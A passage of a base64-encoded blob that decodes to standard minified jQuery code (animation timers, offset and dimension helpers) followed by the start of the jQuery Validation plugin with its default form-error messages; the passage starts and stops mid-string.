k1hdGguUEkpLzJ9fTtkLnRpbWVycz1bXTtkLmZ4PUIucHJvdG90eXBlLmluaXQ7ZC5meC50aWNrPWZ1bmN0aW9uKCl7dmFyIGEsYz1kLnRpbWVycyxiPTA7Zm9yKGlhPWQubm93KCk7Yy5sZW5ndGg+YjtiKyspYT1jW2JdLGEoKXx8Y1tiXSE9PWF8fGMuc3BsaWNlKGItLSwxKTtjLmxlbmd0aHx8ZC5meC5zdG9wKCk7aWE9ZX07ZC5meC50aW1lcj0NCmZ1bmN0aW9uKGEpe2EoKSYmZC50aW1lcnMucHVzaChhKSYmZC5meC5zdGFydCgpfTtkLmZ4LmludGVydmFsPTEzO2QuZnguc3RhcnQ9ZnVuY3Rpb24oKXtCYXx8KEJhPXNldEludGVydmFsKGQuZngudGljayxkLmZ4LmludGVydmFsKSl9O2QuZnguc3RvcD1mdW5jdGlvbigpe2NsZWFySW50ZXJ2YWwoQmEpO0JhPW51bGx9O2QuZnguc3BlZWRzPXtzbG93OjYwMCxmYXN0OjIwMCxfZGVmYXVsdDo0MDB9O2QuZnguc3RlcD17fTtkLmV4cHImJmQuZXhwci5maWx0ZXJzJiYoZC5leHByLmZpbHRlcnMuYW5pbWF0ZWQ9ZnVuY3Rpb24oYSl7cmV0dXJuIGQuZ3JlcChkLnRpbWVycyxmdW5jdGlvbihjKXtyZXR1cm4gYT09PWMuZWxlbX0pLmxlbmd0aH0pO2QuZm4ub2Zmc2V0PWZ1bmN0aW9uKGEpe2lmKGFyZ3VtZW50cy5sZW5ndGgpcmV0dXJuIGE9PT1lP3RoaXM6dGhpcy5lYWNoKGZ1bmN0aW9uKGMpe2Qub2Zmc2V0LnNldE9mZnNldCh0aGlzLGEsYyl9KTt2YXIgYyxiLGY9e3RvcDowLGxlZnQ6MH0sDQpnPXRoaXNbMF0saz1nJiZnLm93bmVyRG9jdW1lbnQ7aWYoaylyZXR1cm4gYz1rLmRvY3VtZW50RWxlbWVudCxkLmNvbnRhaW5zKGMsZyk/KHR5cGVvZiBnLmdldEJvdW5kaW5nQ2xpZW50UmVjdCE9PVEmJihmPWcuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkpLGI9bGIoaykse3RvcDpmLnRvcCsoYi5wYWdlWU9mZnNldHx8Yy5zY3JvbGxUb3ApLShjLmNsaWVudFRvcHx8MCksbGVmdDpmLmxlZnQrKGIucGFnZVhPZmZzZXR8fGMuc2Nyb2xsTGVmdCktKGMuY2xpZW50TGVmdHx8MCl9KTpmfTtkLm9mZnNldD17c2V0T2Zmc2V0OmZ1bmN0aW9uKGEsYyxiKXt2YXIgZT1kLmNzcyhhLCJwb3NpdGlvbiIpOyJzdGF0aWMiPT09ZSYmKGEuc3R5bGUucG9zaXRpb249InJlbGF0aXZlIik7dmFyIGY9ZChhKSxnPWYub2Zmc2V0KCksaz1kLmNzcyhhLCJ0b3AiKSxtPWQuY3NzKGEsImxlZnQiKSxuPXt9LHQ9e30scixwOygiYWJzb2x1dGUiPT09ZXx8ImZpeGVkIj09PWUpJiYtMTxkLmluQXJyYXkoImF1dG8iLA0KW2ssbV0pPyh0PWYucG9zaXRpb24oKSxyPXQudG9wLHA9dC5sZWZ0KToocj1wYXJzZUZsb2F0KGspfHwwLHA9cGFyc2VGbG9hdChtKXx8MCk7ZC5pc0Z1bmN0aW9uKGMpJiYoYz1jLmNhbGwoYSxiLGcpKTtudWxsIT1jLnRvcCYmKG4udG9wPWMudG9wLWcudG9wK3IpO251bGwhPWMubGVmdCYmKG4ubGVmdD1jLmxlZnQtZy5sZWZ0K3ApOyJ1c2luZyJpbiBjP2MudXNpbmcuY2FsbChhLG4pOmYuY3NzKG4pfX07ZC5mbi5leHRlbmQoe3Bvc2l0aW9uOmZ1bmN0aW9uKCl7aWYodGhpc1swXSl7dmFyIGEsYyxiPXt0b3A6MCxsZWZ0OjB9LGU9dGhpc1swXTtyZXR1cm4iZml4ZWQiPT09ZC5jc3MoZSwicG9zaXRpb24iKT9jPWUuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk6KGE9dGhpcy5vZmZzZXRQYXJlbnQoKSxjPXRoaXMub2Zmc2V0KCksZC5ub2RlTmFtZShhWzBdLCJodG1sIil8fChiPWEub2Zmc2V0KCkpLGIudG9wKz1kLmNzcyhhWzBdLCJib3JkZXJUb3BXaWR0aCIsITApLGIubGVmdCs9DQpkLmNzcyhhWzBdLCJib3JkZXJMZWZ0V2lkdGgiLCEwKSkse3RvcDpjLnRvcC1iLnRvcC1kLmNzcyhlLCJtYXJnaW5Ub3AiLCEwKSxsZWZ0OmMubGVmdC1iLmxlZnQtZC5jc3MoZSwibWFyZ2luTGVmdCIsITApfX19LG9mZnNldFBhcmVudDpmdW5jdGlvbigpe3JldHVybiB0aGlzLm1hcChmdW5jdGlvbigpe2Zvcih2YXIgYT10aGlzLm9mZnNldFBhcmVudHx8dC5kb2N1bWVudEVsZW1lbnQ7YSYmIWQubm9kZU5hbWUoYSwiaHRtbCIpJiYic3RhdGljIj09PWQuY3NzKGEsInBvc2l0aW9uIik7KWE9YS5vZmZzZXRQYXJlbnQ7cmV0dXJuIGF8fHQuZG9jdW1lbnRFbGVtZW50fSl9fSk7ZC5lYWNoKHtzY3JvbGxMZWZ0OiJwYWdlWE9mZnNldCIsc2Nyb2xsVG9wOiJwYWdlWU9mZnNldCJ9LGZ1bmN0aW9uKGEsYyl7dmFyIGI9L1kvLnRlc3QoYyk7ZC5mblthXT1mdW5jdGlvbihmKXtyZXR1cm4gZC5hY2Nlc3ModGhpcyxmdW5jdGlvbihhLGYsZyl7dmFyIGs9bGIoYSk7cmV0dXJuIGc9PT1lP2s/DQpjIGluIGs/a1tjXTprLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudFtmXTphW2ZdOihrP2suc2Nyb2xsVG8oYj9kKGspLnNjcm9sbExlZnQoKTpnLGI/ZzpkKGspLnNjcm9sbFRvcCgpKTphW2ZdPWcsZSl9LGEsZixhcmd1bWVudHMubGVuZ3RoLG51bGwpfX0pO2QuZWFjaCh7SGVpZ2h0OiJoZWlnaHQiLFdpZHRoOiJ3aWR0aCJ9LGZ1bmN0aW9uKGEsYyl7ZC5lYWNoKHtwYWRkaW5nOiJpbm5lciIrYSxjb250ZW50OmMsIiI6Im91dGVyIithfSxmdW5jdGlvbihiLGYpe2QuZm5bZl09ZnVuY3Rpb24oZixnKXt2YXIgaz1hcmd1bWVudHMubGVuZ3RoJiYoYnx8ImJvb2xlYW4iIT10eXBlb2YgZiksbT1ifHwoITA9PT1mfHwhMD09PWc/Im1hcmdpbiI6ImJvcmRlciIpO3JldHVybiBkLmFjY2Vzcyh0aGlzLGZ1bmN0aW9uKGMsYixmKXt2YXIgZztyZXR1cm4gZC5pc1dpbmRvdyhjKT9jLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudFsiY2xpZW50IithXTo5PT09Yy5ub2RlVHlwZT8oZz1jLmRvY3VtZW50RWxlbWVudCwNCk1hdGgubWF4KGMuYm9keVsic2Nyb2xsIithXSxnWyJzY3JvbGwiK2FdLGMuYm9keVsib2Zmc2V0IithXSxnWyJvZmZzZXQiK2FdLGdbImNsaWVudCIrYV0pKTpmPT09ZT9kLmNzcyhjLGIsbSk6ZC5zdHlsZShjLGIsZixtKX0sYyxrP2Y6ZSxrLG51bGwpfX0pfSk7Yi5qUXVlcnk9Yi4kPWQ7ImZ1bmN0aW9uIj09dHlwZW9mIGRlZmluZSYmZGVmaW5lLmFtZCYmZGVmaW5lLmFtZC5qUXVlcnkmJmRlZmluZSgianF1ZXJ5IixbXSxmdW5jdGlvbigpe3JldHVybiBkfSl9KSh3aW5kb3cpOw0KKGZ1bmN0aW9uKGIpe2IuZXh0ZW5kKGIuZm4se3ZhbGlkYXRlOmZ1bmN0aW9uKGUpe2lmKCF0aGlzLmxlbmd0aClyZXR1cm4gZSYmZS5kZWJ1ZyYmd2luZG93LmNvbnNvbGUmJmNvbnNvbGUud2FybigiTm90aGluZyBzZWxlY3RlZCwgY2FuJ3QgdmFsaWRhdGUsIHJldHVybmluZyBub3RoaW5nLiIpLHZvaWQgMDt2YXIgZj1iLmRhdGEodGhpc1swXSwidmFsaWRhdG9yIik7cmV0dXJuIGY/ZjoodGhpcy5hdHRyKCJub3ZhbGlkYXRlIiwibm92YWxpZGF0ZSIpLGY9bmV3IGIudmFsaWRhdG9yKGUsdGhpc1swXSksYi5kYXRhKHRoaXNbMF0sInZhbGlkYXRvciIsZiksZi5zZXR0aW5ncy5vbnN1Ym1pdCYmKHRoaXMudmFsaWRhdGVEZWxlZ2F0ZSgiOnN1Ym1pdCIsImNsaWNrIixmdW5jdGlvbihlKXtmLnNldHRpbmdzLnN1Ym1pdEhhbmRsZXImJihmLnN1Ym1pdEJ1dHRvbj1lLnRhcmdldCk7YihlLnRhcmdldCkuaGFzQ2xhc3MoImNhbmNlbCIpJiYoZi5jYW5jZWxTdWJtaXQ9ITApO3ZvaWQgMCE9PQ0KYihlLnRhcmdldCkuYXR0cigiZm9ybW5vdmFsaWRhdGUiKSYmKGYuY2FuY2VsU3VibWl0PSEwKX0pLHRoaXMuc3VibWl0KGZ1bmN0aW9uKGUpe2Z1bmN0aW9uIGsoKXt2YXIgaztyZXR1cm4gZi5zZXR0aW5ncy5zdWJtaXRIYW5kbGVyPyhmLnN1Ym1pdEJ1dHRvbiYmKGs9YigiXHgzY2lucHV0IHR5cGVceDNkJ2hpZGRlbicvXHgzZSIpLmF0dHIoIm5hbWUiLGYuc3VibWl0QnV0dG9uLm5hbWUpLnZhbChiKGYuc3VibWl0QnV0dG9uKS52YWwoKSkuYXBwZW5kVG8oZi5jdXJyZW50Rm9ybSkpLGYuc2V0dGluZ3Muc3VibWl0SGFuZGxlci5jYWxsKGYsZi5jdXJyZW50Rm9ybSxlKSxmLnN1Ym1pdEJ1dHRvbiYmay5yZW1vdmUoKSwhMSk6ITB9cmV0dXJuIGYuc2V0dGluZ3MuZGVidWcmJmUucHJldmVudERlZmF1bHQoKSxmLmNhbmNlbFN1Ym1pdD8oZi5jYW5jZWxTdWJtaXQ9ITEsaygpKTpmLmZvcm0oKT9mLnBlbmRpbmdSZXF1ZXN0PyhmLmZvcm1TdWJtaXR0ZWQ9ITAsITEpOmsoKTooZi5mb2N1c0ludmFsaWQoKSwNCiExKX0pKSxmKX0sdmFsaWQ6ZnVuY3Rpb24oKXtpZihiKHRoaXNbMF0pLmlzKCJmb3JtIikpcmV0dXJuIHRoaXMudmFsaWRhdGUoKS5mb3JtKCk7dmFyIGU9ITAsZj1iKHRoaXNbMF0uZm9ybSkudmFsaWRhdGUoKTtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7ZT1lJiZmLmVsZW1lbnQodGhpcyl9KSxlfSxyZW1vdmVBdHRyczpmdW5jdGlvbihlKXt2YXIgZj17fSxnPXRoaXM7cmV0dXJuIGIuZWFjaChlLnNwbGl0KC9ccy8pLGZ1bmN0aW9uKGIsZSl7ZltlXT1nLmF0dHIoZSk7Zy5yZW1vdmVBdHRyKGUpfSksZn0scnVsZXM6ZnVuY3Rpb24oZSxmKXt2YXIgZz10aGlzWzBdO2lmKGUpe3ZhciBrPWIuZGF0YShnLmZvcm0sInZhbGlkYXRvciIpLnNldHRpbmdzLG09ay5ydWxlcyxuPWIudmFsaWRhdG9yLnN0YXRpY1J1bGVzKGcpO3N3aXRjaChlKXtjYXNlICJhZGQiOmIuZXh0ZW5kKG4sYi52YWxpZGF0b3Iubm9ybWFsaXplUnVsZShmKSk7ZGVsZXRlIG4ubWVzc2FnZXM7bVtnLm5hbWVdPQ0KbjtmLm1lc3NhZ2VzJiYoay5tZXNzYWdlc1tnLm5hbWVdPWIuZXh0ZW5kKGsubWVzc2FnZXNbZy5uYW1lXSxmLm1lc3NhZ2VzKSk7YnJlYWs7Y2FzZSAicmVtb3ZlIjppZighZilyZXR1cm4gZGVsZXRlIG1bZy5uYW1lXSxuO3ZhciB3PXt9O3JldHVybiBiLmVhY2goZi5zcGxpdCgvXHMvKSxmdW5jdGlvbihiLGUpe3dbZV09bltlXTtkZWxldGUgbltlXX0pLHd9fWc9Yi52YWxpZGF0b3Iubm9ybWFsaXplUnVsZXMoYi5leHRlbmQoe30sYi52YWxpZGF0b3IuY2xhc3NSdWxlcyhnKSxiLnZhbGlkYXRvci5hdHRyaWJ1dGVSdWxlcyhnKSxiLnZhbGlkYXRvci5kYXRhUnVsZXMoZyksYi52YWxpZGF0b3Iuc3RhdGljUnVsZXMoZykpLGcpO2cucmVxdWlyZWQmJihrPWcucmVxdWlyZWQsZGVsZXRlIGcucmVxdWlyZWQsZz1iLmV4dGVuZCh7cmVxdWlyZWQ6a30sZykpO3JldHVybiBnfX0pO2IuZXh0ZW5kKGIuZXhwclsiOiJdLHtibGFuazpmdW5jdGlvbihlKXtyZXR1cm4hYi50cmltKCIiK2IoZSkudmFsKCkpfSwNCmZpbGxlZDpmdW5jdGlvbihlKXtyZXR1cm4hIWIudHJpbSgiIitiKGUpLnZhbCgpKX0sdW5jaGVja2VkOmZ1bmN0aW9uKGUpe3JldHVybiFiKGUpLnByb3AoImNoZWNrZWQiKX19KTtiLnZhbGlkYXRvcj1mdW5jdGlvbihlLGYpe3RoaXMuc2V0dGluZ3M9Yi5leHRlbmQoITAse30sYi52YWxpZGF0b3IuZGVmYXVsdHMsZSk7dGhpcy5jdXJyZW50Rm9ybT1mO3RoaXMuaW5pdCgpfTtiLnZhbGlkYXRvci5mb3JtYXQ9ZnVuY3Rpb24oZSxmKXtyZXR1cm4gMT09PWFyZ3VtZW50cy5sZW5ndGg/ZnVuY3Rpb24oKXt2YXIgZj1iLm1ha2VBcnJheShhcmd1bWVudHMpO3JldHVybiBmLnVuc2hpZnQoZSksYi52YWxpZGF0b3IuZm9ybWF0LmFwcGx5KHRoaXMsZil9OigyPGFyZ3VtZW50cy5sZW5ndGgmJmYuY29uc3RydWN0b3IhPT1BcnJheSYmKGY9Yi5tYWtlQXJyYXkoYXJndW1lbnRzKS5zbGljZSgxKSksZi5jb25zdHJ1Y3RvciE9PUFycmF5JiYoZj1bZl0pLGIuZWFjaChmLGZ1bmN0aW9uKGIsZil7ZT0NCmUucmVwbGFjZShSZWdFeHAoIlxceyIrYisiXFx9IiwiZyIpLGZ1bmN0aW9uKCl7cmV0dXJuIGZ9KX0pLGUpfTtiLmV4dGVuZChiLnZhbGlkYXRvcix7ZGVmYXVsdHM6e21lc3NhZ2VzOnt9LGdyb3Vwczp7fSxydWxlczp7fSxlcnJvckNsYXNzOiJlcnJvciIsdmFsaWRDbGFzczoidmFsaWQiLGVycm9yRWxlbWVudDoibGFiZWwiLGZvY3VzSW52YWxpZDohMCxlcnJvckNvbnRhaW5lcjpiKFtdKSxlcnJvckxhYmVsQ29udGFpbmVyOmIoW10pLG9uc3VibWl0OiEwLGlnbm9yZToiOmhpZGRlbiIsaWdub3JlVGl0bGU6ITEsb25mb2N1c2luOmZ1bmN0aW9uKGIpe3RoaXMubGFzdEFjdGl2ZT1iO3RoaXMuc2V0dGluZ3MuZm9jdXNDbGVhbnVwJiYhdGhpcy5ibG9ja0ZvY3VzQ2xlYW51cCYmKHRoaXMuc2V0dGluZ3MudW5oaWdobGlnaHQmJnRoaXMuc2V0dGluZ3MudW5oaWdobGlnaHQuY2FsbCh0aGlzLGIsdGhpcy5zZXR0aW5ncy5lcnJvckNsYXNzLHRoaXMuc2V0dGluZ3MudmFsaWRDbGFzcyksDQp0aGlzLmFkZFdyYXBwZXIodGhpcy5lcnJvcnNGb3IoYikpLmhpZGUoKSl9LG9uZm9jdXNvdXQ6ZnVuY3Rpb24oYil7dGhpcy5jaGVja2FibGUoYil8fCEoYi5uYW1lIGluIHRoaXMuc3VibWl0dGVkKSYmdGhpcy5vcHRpb25hbChiKXx8dGhpcy5lbGVtZW50KGIpfSxvbmtleXVwOmZ1bmN0aW9uKGIsZil7KDkhPT1mLndoaWNofHwiIiE9PXRoaXMuZWxlbWVudFZhbHVlKGIpKSYmKGIubmFtZSBpbiB0aGlzLnN1Ym1pdHRlZHx8Yj09PXRoaXMubGFzdEVsZW1lbnQpJiZ0aGlzLmVsZW1lbnQoYil9LG9uY2xpY2s6ZnVuY3Rpb24oYil7Yi5uYW1lIGluIHRoaXMuc3VibWl0dGVkP3RoaXMuZWxlbWVudChiKTpiLnBhcmVudE5vZGUubmFtZSBpbiB0aGlzLnN1Ym1pdHRlZCYmdGhpcy5lbGVtZW50KGIucGFyZW50Tm9kZSl9LGhpZ2hsaWdodDpmdW5jdGlvbihlLGYsZyl7InJhZGlvIj09PWUudHlwZT90aGlzLmZpbmRCeU5hbWUoZS5uYW1lKS5hZGRDbGFzcyhmKS5yZW1vdmVDbGFzcyhnKToNCmIoZSkuYWRkQ2xhc3MoZikucmVtb3ZlQ2xhc3MoZyl9LHVuaGlnaGxpZ2h0OmZ1bmN0aW9uKGUsZixnKXsicmFkaW8iPT09ZS50eXBlP3RoaXMuZmluZEJ5TmFtZShlLm5hbWUpLnJlbW92ZUNsYXNzKGYpLmFkZENsYXNzKGcpOmIoZSkucmVtb3ZlQ2xhc3MoZikuYWRkQ2xhc3MoZyl9fSxzZXREZWZhdWx0czpmdW5jdGlvbihlKXtiLmV4dGVuZChiLnZhbGlkYXRvci5kZWZhdWx0cyxlKX0sbWVzc2FnZXM6e3JlcXVpcmVkOiJUaGlzIGZpZWxkIGlzIHJlcXVpcmVkLiIscmVtb3RlOiJQbGVhc2UgZml4IHRoaXMgZmllbGQuIixlbWFpbDoiUGxlYXNlIGVudGVyIGEgdmFsaWQgZW1haWwgYWRkcmVzcy4iLHVybDoiUGxlYXNlIGVudGVyIGEgdmFsaWQgVVJMLiIsZGF0ZToiUGxlYXNlIGVudGVyIGEgdmFsaWQgZGF0ZS4iLGRhdGVJU086IlBsZWFzZSBlbnRlciBhIHZhbGlkIGRhdGUgKElTTykuIixudW1iZXI6IlBsZWFzZSBlbnRlciBhIHZhbGlkIG51bWJlci4iLGRpZ2l0czoiUGxlYXNlIGVudGVyIG9ubHkgZGlnaXRzLiIsDQpjcmVkaXRjYXJkOiJQbGVhc2UgZW50ZXIgYSB2YWxpZCBjcmVkaXQgY2FyZCBudW1iZXIuIixlcXVhbFRvOiJQbGVhc2UgZW50ZXIgdGhlIHNhbWUgdmFsdWUgYWdhaW4uIixtYXhsZW5ndGg6Yi52YWxpZGF0b3IuZm9ybWF0KCJQbGVhc2UgZW50ZXIgbm8gbW9yZSB0aGFuIHswfSBjaGFyYWN0ZXJzLiIpLG1pbmxlbmd0aDpiLnZhbGlkYXRvci5mb3JtYXQoIlBsZWFzZSBlbnRlciBhdCBsZWFzdCB7MH0gY2hhcmFjdGVycy4iKSxyYW5nZWxlbmd0aDpiLnZhbGlkYXRvci5mb3JtYXQoIlBsZWFzZSBlbnRlciBhIHZhbHVlIGJldHdlZW4gezB9IGFuZCB7MX0gY2hhcmFjdGVycyBsb25nLiIpLHJhbmdlOmIudmFsaWRhdG9yLmZvcm1hdCgiUGxlYXNlIGVudGVyIGEgdmFsdWUgYmV0d2VlbiB7MH0gYW5kIHsxfS4iKSxtYXg6Yi52YWxpZGF0b3IuZm9ybWF0KCJQbGVhc2UgZW50ZXIgYSB2YWx1ZSBsZXNzIHRoYW4gb3IgZXF1YWwgdG8gezB9LiIpLG1pbjpiLnZhbGlkYXRvci5mb3JtYXQoIlBsZWFzZSBlbnRlciBhIHZhbHVlIGdyZWF0ZXIgdGhhbiBvciBlcXVhbCB0byB7MH0uIil9LA0KYXV0b0NyZWF0ZVJhbmdlczohMSxwcm90b3R5cGU6e2luaXQ6ZnVuY3Rpb24oKXtmdW5jdGlvbiBlKGUpe3ZhciBmPWIuZGF0YSh0aGlzWzBdLmZvcm0sInZhbGlkYXRvciIpLGc9Im9uIitlLnR5cGUucmVwbGFjZSgvXnZhbGlkYXRlLywiIik7Zi5zZXR0aW5nc1tnXSYmZi5zZXR0aW5nc1tnXS5jYWxsKGYsdGhpc1swXSxlKX10aGlzLmxhYmVsQ29udGFpbmVyPWIodGhpcy5zZXR0aW5ncy5lcnJvckxhYmVsQ29udGFpbmVyKTt0aGlzLmVycm9yQ29udGV4dD10aGlzLmxhYmVsQ29udGFpbmVyLmxlbmd0aCYmdGhpcy5sYWJlbENvbnRhaW5lcnx8Yih0aGlzLmN1cnJlbnRGb3JtKTt0aGlzLmNvbnRhaW5lcnM9Yih0aGlzLnNldHRpbmdzLmVycm9yQ29udGFpbmVyKS5hZGQodGhpcy5zZXR0aW5ncy5lcnJvckxhYmVsQ29udGFpbmVyKTt0aGlzLnN1Ym1pdHRlZD17fTt0aGlzLnZhbHVlQ2FjaGU9e307dGhpcy5wZW5kaW5nUmVxdWVzdD0wO3RoaXMucGVuZGluZz17fTt0aGlzLmludmFsaWQ9DQp7fTt0aGlzLnJlc2V0KCk7dmFyIGY9dGhpcy5ncm91cHM9e307Yi5lYWNoKHRoaXMuc2V0dGluZ3MuZ3JvdXBzLGZ1bmN0aW9uKGUsZyl7InN0cmluZyI9PXR5cGVvZiBnJiYoZz1nLnNwbGl0KC9ccy8pKTtiLmVhY2goZyxmdW5jdGlvbihiLGcpe2ZbZ109ZX0pfSk7dmFyIGc9dGhpcy5zZXR0aW5ncy5ydWxlcztiLmVhY2goZyxmdW5jdGlvbihlLGYpe2dbZV09Yi52YWxpZGF0b3Iubm9ybWFsaXplUnVsZShmKX0pO2IodGhpcy5jdXJyZW50Rm9ybSkudmFsaWRhdGVEZWxlZ2F0ZSgiOnRleHQsIFt0eXBlXHgzZCdwYXNzd29yZCddLCBbdHlwZVx4M2QnZmlsZSddLCBzZWxlY3QsIHRleHRhcmVhLCBbdHlwZVx4M2QnbnVtYmVyJ10sIFt0eXBlXHgzZCdzZWFyY2gnXSAsW3R5cGVceDNkJ3RlbCddLCBbdHlwZVx4M2QndXJsJ10sIFt0eXBlXHgzZCdlbWFpbCddLCBbdHlwZVx4M2QnZGF0ZXRpbWUnXSwgW3R5cGVceDNkJ2RhdGUnXSwgW3R5cGVceDNkJ21vbnRoJ10sIFt0eXBlXHgzZCd3ZWVrJ10sIFt0eXBlXHgzZCd0aW1lJ10sIFt0eXBlXHgzZCdkYXRldGltZS1sb2NhbCddLCBbdHlwZVx4M2QncmFuZ2UnXSwgW3R5cGVceDNkJ2NvbG9yJ10gIiwNCiJmb2N1c2luIGZvY3Vzb3V0IGtleXVwIixlKS52YWxpZGF0ZURlbGVnYXRlKCJbdHlwZVx4M2QncmFkaW8nXSwgW3R5cGVceDNkJ2NoZWNrYm94J10sIHNlbGVjdCwgb3B0aW9uIiwiY2xpY2siLGUpO3RoaXMuc2V0dGluZ3MuaW52YWxpZEhhbmRsZXImJmIodGhpcy5jdXJyZW50Rm9ybSkuYmluZCgiaW52YWxpZC1mb3JtLnZhbGlkYXRlIix0aGlzLnNldHRpbmdzLmludmFsaWRIYW5kbGVyKX0sZm9ybTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmNoZWNrRm9ybSgpLGIuZXh0ZW5kKHRoaXMuc3VibWl0dGVkLHRoaXMuZXJyb3JNYXApLHRoaXMuaW52YWxpZD1iLmV4dGVuZCh7fSx0aGlzLmVycm9yTWFwKSx0aGlzLnZhbGlkKCl8fGIodGhpcy5jdXJyZW50Rm9ybSkudHJpZ2dlckhhbmRsZXIoImludmFsaWQtZm9ybSIsW3RoaXNdKSx0aGlzLnNob3dFcnJvcnMoKSx0aGlzLnZhbGlkKCl9LGNoZWNrRm9ybTpmdW5jdGlvbigpe3RoaXMucHJlcGFyZUZvcm0oKTtmb3IodmFyIGI9MCxmPQ0KdGhpcy5jdXJyZW50RWxlbWVudHM9dGhpcy5lbGVtZW50cygpO2ZbYl07YisrKXRoaXMuY2hlY2soZltiXSk7cmV0dXJuIHRoaXMudmFsaWQoKX0sZWxlbWVudDpmdW5jdGlvbihlKXt0aGlzLmxhc3RFbGVtZW50PWU9dGhpcy52YWxpZGF0aW9uVGFyZ2V0Rm9yKHRoaXMuY2xlYW4oZSkpO3RoaXMucHJlcGFyZUVsZW1lbnQoZSk7dGhpcy5jdXJyZW50RWxlbWVudHM9YihlKTt2YXIgZj0hMSE9PXRoaXMuY2hlY2soZSk7cmV0dXJuIGY/ZGVsZXRlIHRoaXMuaW52YWxpZFtlLm5hbWVdOnRoaXMuaW52YWxpZFtlLm5hbWVdPSEwLHRoaXMubnVtYmVyT2ZJbnZhbGlkcygpfHwodGhpcy50b0hpZGU9dGhpcy50b0hpZGUuYWRkKHRoaXMuY29udGFpbmVycykpLHRoaXMuc2hvd0Vycm9ycygpLGZ9LHNob3dFcnJvcnM6ZnVuY3Rpb24oZSl7aWYoZSl7Yi5leHRlbmQodGhpcy5lcnJvck1hcCxlKTt0aGlzLmVycm9yTGlzdD1bXTtmb3IodmFyIGYgaW4gZSl0aGlzLmVycm9yTGlzdC5wdXNoKHttZXNzYWdlOmVbZl0sDQplbGVtZW50OnRoaXMuZmluZEJ5TmFtZShmKVswXX0pO3RoaXMuc3VjY2Vzc0xpc3Q9Yi5ncmVwKHRoaXMuc3VjY2Vzc0xpc3QsZnVuY3Rpb24oYil7cmV0dXJuIShiLm5hbWUgaW4gZSl9KX10aGlzLnNldHRpbmdzLnNob3dFcnJvcnM/dGhpcy5zZXR0aW5ncy5zaG93RXJyb3JzLmNhbGwodGhpcyx0aGlzLmVycm9yTWFwLHRoaXMuZXJyb3JMaXN0KTp0aGlzLmRlZmF1bHRTaG93RXJyb3JzKCl9LHJlc2V0Rm9ybTpmdW5jdGlvbigpe2IuZm4ucmVzZXRGb3JtJiZiKHRoaXMuY3VycmVudEZvcm0pLnJlc2V0Rm9ybSgpO3RoaXMuc3VibWl0dGVkPXt9O3RoaXMubGFzdEVsZW1lbnQ9bnVsbDt0aGlzLnByZXBhcmVGb3JtKCk7dGhpcy5oaWRlRXJyb3JzKCk7dGhpcy5lbGVtZW50cygpLnJlbW92ZUNsYXNzKHRoaXMuc2V0dGluZ3MuZXJyb3JDbGFzcykucmVtb3ZlRGF0YSgicHJldmlvdXNWYWx1ZSIpfSxudW1iZXJPZkludmFsaWRzOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMub2JqZWN0TGVuZ3RoKHRoaXMuaW52YWxpZCl9LA0Kb2JqZWN0TGVuZ3RoOmZ1bmN0aW9uKGIpe3ZhciBmPTAsZztmb3IoZyBpbiBiKWYrKztyZXR1cm4gZn0saGlkZUVycm9yczpmdW5jdGlvbigpe3RoaXMuYWRkV3JhcHBlcih0aGlzLnRvSGlkZSkuaGlkZSgpfSx2YWxpZDpmdW5jdGlvbigpe3JldHVybiAwPT09dGhpcy5zaXplKCl9LHNpemU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lcnJvckxpc3QubGVuZ3RofSxmb2N1c0ludmFsaWQ6ZnVuY3Rpb24oKXtpZih0aGlzLnNldHRpbmdzLmZvY3VzSW52YWxpZCl0cnl7Yih0aGlzLmZpbmRMYXN0QWN0aXZlKCl8fHRoaXMuZXJyb3JMaXN0Lmxlbmd0aCYmdGhpcy5lcnJvckxpc3RbMF0uZWxlbWVudHx8W10pLmZpbHRlcigiOnZpc2libGUiKS5mb2N1cygpLnRyaWdnZXIoImZvY3VzaW4iKX1jYXRjaChlKXt9fSxmaW5kTGFzdEFjdGl2ZTpmdW5jdGlvbigpe3ZhciBlPXRoaXMubGFzdEFjdGl2ZTtyZXR1cm4gZSYmMT09PWIuZ3JlcCh0aGlzLmVycm9yTGlzdCxmdW5jdGlvbihiKXtyZXR1cm4gYi5lbGVtZW50Lm5hbWU9PT0NCmUubmFtZX0pLmxlbmd0aCYmZX0sZWxlbWVudHM6ZnVuY3Rpb24oKXt2YXIgZT10aGlzLGY9e307cmV0dXJuIGIodGhpcy5jdXJyZW50Rm9ybSkuZmluZCgiaW5wdXQsIHNlbGVjdCwgdGV4dGFyZWEiKS5ub3QoIjpzdWJtaXQsIDpyZXNldCwgOmltYWdlLCBbZGlzYWJsZWRdIikubm90KHRoaXMuc2V0dGluZ3MuaWdub3JlKS5maWx0ZXIoZnVuY3Rpb24oKXtyZXR1cm4hdGhpcy5uYW1lJiZlLnNldHRpbmdzLmRlYnVnJiZ3aW5kb3cuY29uc29sZSYmY29uc29sZS5lcnJvcigiJW8gaGFzIG5vIG5hbWUgYXNzaWduZWQiLHRoaXMpLHRoaXMubmFtZSBpbiBmfHwhZS5vYmplY3RMZW5ndGgoYih0aGlzKS5ydWxlcygpKT8hMTooZlt0aGlzLm5hbWVdPSEwLCEwKX0pfSxjbGVhbjpmdW5jdGlvbihlKXtyZXR1cm4gYihlKVswXX0sZXJyb3JzOmZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5zZXR0aW5ncy5lcnJvckNsYXNzLnJlcGxhY2UoIiAiLCIuIik7cmV0dXJuIGIodGhpcy5zZXR0aW5ncy5lcnJvckVsZW1lbnQrDQoiLiIrZSx0aGlzLmVycm9yQ29udGV4dCl9LHJlc2V0OmZ1bmN0aW9uKCl7dGhpcy5zdWNjZXNzTGlzdD1bXTt0aGlzLmVycm9yTGlzdD1bXTt0aGlzLmVycm9yTWFwPXt9O3RoaXMudG9TaG93PWIoW10pO3RoaXMudG9IaWRlPWIoW10pO3RoaXMuY3VycmVudEVsZW1lbnRzPWIoW10pfSxwcmVwYXJlRm9ybTpmdW5jdGlvbigpe3RoaXMucmVzZXQoKTt0aGlzLnRvSGlkZT10aGlzLmVycm9ycygpLmFkZCh0aGlzLmNvbnRhaW5lcnMpfSxwcmVwYXJlRWxlbWVudDpmdW5jdGlvbihiKXt0aGlzLnJlc2V0KCk7dGhpcy50b0hpZGU9dGhpcy5lcnJvcnNGb3IoYil9LGVs